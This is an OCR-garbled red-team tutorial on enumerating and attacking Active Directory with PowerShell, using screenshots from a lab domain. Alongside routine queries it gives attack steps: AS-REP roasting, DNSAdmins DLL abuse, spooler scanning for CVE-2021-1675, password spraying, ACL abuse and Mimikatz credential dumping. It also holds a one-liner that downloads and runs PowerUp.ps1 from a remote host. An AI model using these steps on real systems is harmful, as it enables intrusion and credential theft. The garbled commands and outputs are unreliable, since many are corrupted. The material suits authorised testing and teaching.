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In the first instance we must have a time control of the tests that we are running in our pentesting
and red team operations.

Example:
New-Item $Profile -ItemType file -Force

function prompt{ "[$(Get-Date)]" +" | PS "+ "$(Get-Location) > "}

E¥ Windows PowerShell

> Mew-Item SProfile file

kai.bel\Documen indowsPowerShell

Length Name

® Microsoft.Powershell profile.psl

%(Get-Location)

Let's verify devices connected in the AD, it should be noted that we will not only find Windows
operating systems, several companies and corporations have Linux, Mac OS, etc. systems attached.

Example:
Get-ADComputer -filter {Enabled -eq $TRUE}

omputer

ollers,DC=cs,DC=org

bjectClass
bjectGUID
amAccountiame
ID

D
UserPrincipalName :

nguishedName :

jectClass
JjectGUID
amAccounthame
ID
UserPrincipalName :

If you want to export the information in excel, we can use Export-Csv.
Get-ADComputer -filter {Enabled -eq $STRUE} | Export-Csv report.csv



So if we want to search for specific operating systems, we can segment. In this example we will
search only Windows 10 operating systems.

Example:
Get-ADComputer -filter {Enabled -eq $TRUE -and OperatingSystem -like "*Windows 10*"}

EN Windows PowerShell — O *
7:54] | PS C: i.bel > Ge {Enabled

CN=Computers,DC=cs,DC=0rg
org

2d-5eb8dl8dédled

484995-1164256714- 24456

B,CN=Computers,DC=cs ,DC=0rg
=4

7-ccdd-4a51-bed42-e62bf31b9+ae

484995-1164256714- 24456

Note: Imagine looking for Windows 7, XP, 2000, etc assets without support with potential
vulnerabilities between critical and high. (I constantly find this type of system in my audits)

Once the objective is identified, we can obtain information from the device.

Example:
Get-ADComputer -Identity PC-01 -Properties *

EX Windows PowerShell —

: CN=PC-81,CN=Computers,DC=cs,DC=0rg
: PC-@1. org
: True
: PC-91
puter
1d-28af-4b83-9f2d-5eddladedled

5 &ﬁccuuntwame
SID : 5-1-5 484995-1164
UserPrincipalName :




A little more information.....

Example:
Get-ADComputer -Identity PC-01 -Properties *

upportedEncryptionTypes
-Account-Control-Computed

riptor - m.DirectoryServi
ymputer,CN

: CN=Equipos del dominio,CN=Users,DC=cs,DC=0rg
¢What was the last open session on that machine?

Example:
Get-ADComputer -identity PC-01 -Properties lastlogondate,operatingsystem [select
name,lastlogondate,operatingsystem

i.bel > Get-ADComputer lastlogondate, operatin

Get-ADComputer -Filter * -Properties * | FT OperatingSystem, ipv4Address,
OperatingSystem Version, OperatingSystemServicePack -Autosize

emVersion

Let's filter all the last open sessions on all Windows 10 Systems...

Example:
Get-ADComputer -Filter {OperatingSystem -Like *Windows 10*' } -Properties
lastlogondate,operatingsystem |select name,lastlogondate,operatingsystem




Bloopers: If you want to make a lot of noise and your boss says map me everything :P

Example:
Get-ADComputer -Filter * -Properties * | FT Name, operatingsystem, LastL.ogonDate -Autosize

PC-81 Wing
WIN1® Windo

View computers that haven't logged in to Active Directory in the last 90 days.

Example:

$Days = 90

$Time = (Get-Date).Adddays(-($Days))

Get-ADComputer -Filter {LastLogonTimeStamp -It $Time} -Properties * | Select Name,
LastLogonDate

Find newly added users (200 days) to Active Directory:

Example:
$When = ((Get-Date).AddDays(-200)).Date
Get-ADUser -Filter {whenCreated -ge $When} -Properties whenCreated

« D2 . P,
| PS C .be n} whenCreated

istinguishedName : CN=Administrador,CN=Users,DC=cs,DC=org
nabled : True
ivenName

inistrador

tGUID : -85fc-4ed7-8344-c1d74cifbdcd
ccountName -

rincipalMame :
Created

: CN=In
: False

itado

2c-b557-442+-b3be-
ccountName
B434995-1164
Surname
‘rincipallame :
whenCreated




Find newly added groups in AD (200 days) to Active Directory:

Example:
$When = ((Get-Date).AddDays(-30)).Date

Get-ADGroup -Filter {whenChanged -ge $When} -Properties whenChanged

[12/82,2@822 @6:89:46] | PS C:\Users\kai.bel » $When ((Get-Date).AddDays(-288)).Date

[12/82/2822 B6:89:58]

DistinguishedName
GroupCategory
GroupScope

| PS C:\Usersikai.bel » Get-ADGroup 1whenChanged

CN=Administradores,CN=Builtin,DC=cs,DC=0rg
Security
DomainLocal

: Administradores

SamAccountName
SID
whenChanged

DistinguishedName
GroupCategory

SamAccountName
SID
whenChanged

DistinguishedName
GroupCategory
GroupScope

Name

ObjectClass
Object@UID
SamAccountName
SID

whenChanged

group
154+1b%a-a2e7-45b5-868e-f81212d6c491

: Administradores

5-1-5-32-544
@7/e6,/2822 1:25:01

CN=Usuarios,CN=Builtin,DC=cs,DC=0rg
Security

DomainLocal

Usuarios

group
27457158-3675-438b-959d-8a4534defBbb
Usuarios

5-1-5-32-545

ec/eo,/2022 28:15:53

CN=Invitados,CN=Builtin,DC=cs,DC=0rg
Security

DomainLocal

Invitados

group

2d3d6c75-a7a9-4265-a% af-a7ec3F59d9f5
Invitados

5-1-5-32-546

@c/e6/20622 28:18:53

Identify users enabled in the AD.

Example:
Get-ADUser -Filter * | Ft Name, UserPrincipalName, Enabled

PS C:\Usersikai.bel> Get-ADUser

Name

Administrador

Jessi Kareola
Reine Lynde
Karin Cindra
Lesley Cherrita
Collete Sarena
Rebekah Simonette
Bobbye Delilah
Betteanne Gelya
Brunhilda Melisent
Kai Bel

Ricca Starr
Rosalia Scarlet
Jandy Jobey
Nadeen Brigid
Elle Maggee
Cacilia Bobine
Cinda Becca
Levey Helaina
Eddi Malinde
Lenee Lisbeth
Lancelot Carla
Lexine April

Christal Mellisent
Gabrielle Steffi
Jordanna Bertha
Ronalda Quintilla
Merlina Rebbi

Ft MName, UserPrincipalName, Enabled

UserPrincipalName Enabled

Delcine.Livvy@cs.org
Jeszi.Karola@cs.org
Reine.Lynde@cs.org
Karin.Cindra@cs.org
Lesley.Cherrita@cs.org
Collete.5arena@cs.org
Rebekah.Simonette@cs.org
Bobbye.Delilah@cs.org
Betteanne.Gelya@cs.org
Brunhilda.Melisent@cs.org
Kai.Bel@cs.org
Ricca.Starr@cs.org
Rosalia.Scarlet@cs.org
Jandy.Jobey@cs.org
Nadeen.Brigid@cs.org
Elle.Maggee@cs.org
Cacilia.Bobine@cs.org
Cinda.Becca@cs.org
Levey.Helaina@cs.org
Eddi.Malinde@cs.org
Lenee.Lisbeth@cs.org
Lancelot.Carla@cs.org
Lexine.April@cs.org
Marika.Catarina@cs.org
Janka.Kalila@cs.org
Christal.Mellisent@cs.org
Gabrielle.Steffi@cs.org
Jordanna.Bertha@cs.org
Ronalda.Quintilla@cs.org
Merlina.Robbi@cs.org




If you want to export the information in excel, we can use Export-Csv.
Get-ADUser -Filter * -Properties SamAccountName | Select-Object SamAccountName | Export-

Csv user.csv

Obtain information from a specific user.

Example:
Get-ADUser kai.bel -Properties *

r management,CN=Users, cs,DC=org}

PrimaryGroup : CN=Usuarios del dominio,CN=Users,DC=cs,DC=org

List Active Directory enabled users that do NOT require smart card authentication (PKI
environment):

Example:
Get-ADUser -filter {Enabled -eq $TRUE -and SmartcardL.ogonRequired -eq $FALSE}

DistinguishedName : CN rs,DC=cs,DC=org
Enabled
Name

Quintilla
UserPrincipalName : Ronalda.Quintilla@cs.org

DistinguishedName : CN=Merlina Robbi,CN=Users,DC=cs,DC=org
Enabled
GivenName : a
m - i Robbi
jectClass :
jectGUID
A ccountName :
D - 454995-1164256714- 24456
rname :
UserPrincipalName : Merlina.Robbi@cs.org

List the group membership associations of a specific Active Directory user:

Example:
Get-ADUser -Identity elle.maggee -properties MemberOf | Select-Object -ExpandProperty

MemberOf

MemberQf | Selec




See that a user object exists, example the "Administrators".

Example:
Get-ADGroupMember -Identity Administradores -Recursive

[12/82/2822 @86:83:21] | PS C:\Users\kai.bel > Get-ADGroupMember Administradores

distinguishedName : CN=MediaAdmin,CN=Managed Service Accounts,DC=cs,DC=org
MediaAdmin
msD5-ManagedserviceAccount
: c48758e9-bB85c-45e9-9F38-8c789a7ca535
SamAccountMName : MedizAdming
SID i 5-1-5-21-3378434995-1164256714-2445635261-12368

distinguishedName : CN=hernan,CN=Users,DC=cs,DC=org
name ¢ hernan
user
91897131-eb45-4436-bB2+-536Fa7282155
SamAccountName ¢ hernan
SID : 5-1-5-21-3378484995-11p4256714 - 2445635261 - 1686

distinguishedName : CN=Administrador,CN=Users,DC=cs,DC=org
name : Administrador
user
b43b0B5f-85Fc-4ed?-8344-c1d74cTFbdcd
SamAccountMame : Administrador
SID : 5-1-5-21-33784384995-1164256714-2445635261 - 568

distinguishedName : CN=SerwverAdmin,CM=Managed Service Accounts,DC=cs,DC=org
Serverfdmin
msD5-ManagedserviceAccount
B3f8ed43b-ad26-4d5c-b55c-89Fc@B2edblc

SamAccountMName : ServerAdming

SID : 5-1-5-21-33784384995-1164256714-2445635261-1218

View the last password change date for users in Active Director

Example:
Get-ADUser -Filter * -Properties PasswordLastSet | ft Name,SamAccountName,PasswordLastSet

[12/@2,/2822 ©6:1@8:58] | PS C:\Users\kai.bel > Get-ADUser PasswordLastSet | £t Name,SamAccountMame
PasswordLastSet

Name SamAccountName PasswordlLastSet
Administrador Administrador B6/06,/2022 28:15:
Invitado Invitado

DefaultAccount DefaultAccount

hernan hernan 86,/ e6,/2822
krbtgt krbtgt B6,/86,/2822
Delcine Liwwy delcine.livvy B6/86,/2822
Jessi Karola jessi.karola 86/06/20822
Reine Lynde reine.lynde ec/86/2822
Karin Cindra karin.cindra @6,/86,/20822
Lesley Cherrita lesley.cherrita 86,/86/2822
Collete Sarena callete.zsarena 8c/86/2822
Rebekah Simonette rebekah.simonette ©6/86/2822
Bobbye Delilah bobbye.delilah B6/86,/2822
Betteanne Gelya betteanne.gelya B6,/86,/2822
[=TENT S IR TP B S e UL P S, e O - Y-l - T e T - e B}
(ai Bel kai.bel 82/12,/2822
Hicca 5Starr ricca.starr vb/ B/ Iuld .
Rosalia Scarlet rosalia.scarlet B6/06,2822
Jandy Jobey jandy .jobey B6/86,/2822
Nadeen Brigid nadeen.brigid 86/06/20822
Elle Maggee elle.maggee B6/86,/2822
Cacilia Bobine cacilia.bobine @6,/86,/20822
Cinda Becca cinda.becca B6/86,2822
Levey Helaina levey.helaina B6/86,/2822
Eddi Malinde eddi.malinde B6/ 06,2822
Lenee Lisbeth lenee.lisbeth B6/86/2822
Lancelot Carla lancelot.carla

Lexine April lexine.april B6/86,/2822
Marika Catarina marika.catarina B6/06,2622
Janka Kalila janka.kalila B6/86,/2822
Christal Mellisent christal.mellisent @6/86/2822
Gabrielle Steffi gabrielle.steffi ec/86/2822
Jordanna Bertha jordanna.bertha B6/eo,/2022
Ronalda Quintilla ronalda.quintilla B86/86/2822




View users who changed their password in the last 10 days:

Example:
Get-AdUser -Filter * -Properties Name, Initials, UserPrincipalName, PasswordLastSet,

LastlogonDate, description | where-object {$_.PasswordLastSet -It (get-date).adddays(-60)}

18
[DateTime]: : Today.AddDays

View a user's last session in Active Directory:

Example:
Get-ADUser -Identity Administrador -Properties "LastLogonDate"

[1 @6:14:21] | PS C:\Us i.bel > - er Administrador

DistinguishedName : CN=Administrador,CN=
En e : True
G me :

astlogonDate : 1278772822 19:44:52]

LITLS L1 QUi

5:38] | PS C:\Us

See the services on the PC's AD (Last year a Oday called "CVE-2021-1675" came out, so imagine
launching this scan and then owning through PCs running that vulnerable service.)

Example:
Get-ADComputer -Filter * | %{$_.dnshostname; Get-Service -ComputerName $_.dnshostname

spooler} | fl

> Get-ADComputer ¥{%_ .dnshostname; Get-?

de impresién
—

iceType : =z, InteractiveProc




List users with Kerberos pre-authentication disabled | ASREPRoast

ASREPROoast attack looks for users with don't require Kerberos pre-authentication attribute
(DONT_REQ_PREAUTH).

Example:

Get-ADUser -Filter 'useraccountcontrol -band 4194304' -Properties useraccountcontrol | Format-
Table name

[12/82, : 5 2! Jkai. > A T useracco
untcontrol |

6:42:89] | PS C:

Abusing DNSAdmins privilege for escalation in Active Directory

Abuse in AD where a user who is member of the DNSAdmins group or have write privileges to a
DNS server object can load an arbitrary DLL with SYSTEM privileges on the DNS server.

Example:
Get-ADGroupMember -Identity "DNSAdmins" -Recursive

cupMember

ordanna Bertha,CN=U s,DC=cs ,DC=org
anna Bertha

arin Cindra,CN=Users,DC=cs,DC=org
rin Cindra

SambccountName

SID

distinguishedName : CN ey Cherrita,CN=U
name - Cherrita
SamiccountName

SID

distinguishedName :

name

SambccountName
SID

distinguishedName :

SamiccountName
SID

distinguishedName :

amAccountName
SID




Password in Object Description
Sometimes we can find keys, etc values that can be written in the description of a user.

Example:
Get-ADUser -Filter {description -like *'} -Properties samaccountname, description | Select-Object
samaccountname, description

ription b samaccountname, des

ada para la administracidn equipo o dominio
Cuenta i da para el ac i t al equipc o dominio

Cuen de usuar
.

r ,DefaultPasswor
er

wrd Y7YF=!goB

SMB Signing Disabled

This kind of attack is very dangerous because anybody with access to the network can capture
traffic, relay it, and get unauthorized access to the servers.

Lateral Movement via SMB Relaying.

Example:
Get-SmbServerConfiguration | select RequireSecuritySignature

EN Windows PowerShell - O x

> Get-Smbse rConfiguration | select RegquireSecuritySignature

Password Spraying

Password spraying is a technique used by an attacker to obtain valid access credentials that consists
of trying the same password on multiple users.

Example:

Get-ADUser -Properties name -Filter * | Select-Object -ExpandProperty name | Out-File users.txt
type users.txt

Invoke-DomainPasswordSpray -Userlist .\test.txt -Password 123456 -Verbose

domain pas
ng a minu




Abusing ACLs/ACEs

Any misconfiguration in the registry's ACL permissions can allow a standard user (with low
privileges) to make settings in GPOs, add users to a specific group, change passwords, etc.

Example:
Get-ADUser -Filter * | %{(Get-ACL "AD:$($_.distinguishedname)").access }

Example:
(Get-ACL "AD:$((Get-ADUser -Identity 'lesley.cherrita').distinguishedname)").access | Select

ActiveDirectoryRights,AccessControl Type




Beneficial tips :)
Use 64-bit powershells script on 32-bit PC.

Example:
powershell.exe -c "[Environment]::Is64BitProcess"

cd C:\Windows\sysnative\WindowsPowerShell\v1.0\

powershell.exe -c "[Environment]::I1s64BitProcess"

powershell.exe -c "iex(new-object
net.webclient).downloadstring(‘'http://10.10.14.75:81/PowerUp.ps1'); Invoke-AllChecks"

The administrator that logs into any device without deleting its hash in the memory cache.

If you are a domain administrator or etc, you log into our device and we get to escalate privileges
such as NT Authority System due to privesc Local, GPO, ACL, Token or etc attacks, we can
perform a dump to extract the hash or password in plain text from the victim user.

ADMINISTRATORS

ADMINIE

ADMITIS

DEFAULT DORMAIN PO

(Mimikatz) sekurlsa::wdigest




